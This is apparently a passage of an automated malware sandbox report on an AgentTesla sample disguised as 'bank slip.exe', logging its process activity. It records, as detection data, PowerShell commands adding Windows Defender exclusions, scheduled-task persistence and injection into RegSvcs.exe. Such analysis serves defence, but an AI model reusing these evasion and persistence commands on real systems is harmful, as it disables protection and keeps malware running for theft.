Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99521
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99097
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98943
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98812
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98689
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94281
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94171
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94062
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 93952
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 93843
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 93721
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 93593
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 93484
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 93374
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 93265
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 93154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Thread delayed: delay time: 922337203685477

Source: RegSvcs.exe, 00000009.00000002.2112938225.0000000006270000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.3252060777.00000000063B0000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\bank slip.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\bank slip.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\bank slip.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\bank slip.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\bank slip.exe"
Source: C:\Users\user\Desktop\bank slip.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe"
Source: C:\Users\user\Desktop\bank slip.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\bank slip.exe"	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe"	Jump to behavior

Source: C:\Users\user\Desktop\bank slip.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\bank slip.exe"	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe"	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\mKSjGvfmIulVB" /XML "C:\Users\user\AppData\Local\Temp\tmp2859.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\mKSjGvfmIulVB" /XML "C:\Users\user\AppData\Local\Temp\tmp4AB6.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: C:\Users\user\Desktop\bank slip.exe	Queries volume information: C:\Users\user\Desktop\bank slip.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Queries volume information: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Queries volume information: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Queries volume information: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation

Source: C:\Users\user\Desktop\bank slip.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 9.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.389c998.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.mKSjGvfmIulVB.exe.4318670.6.unpack, type: UNPACKEDPE
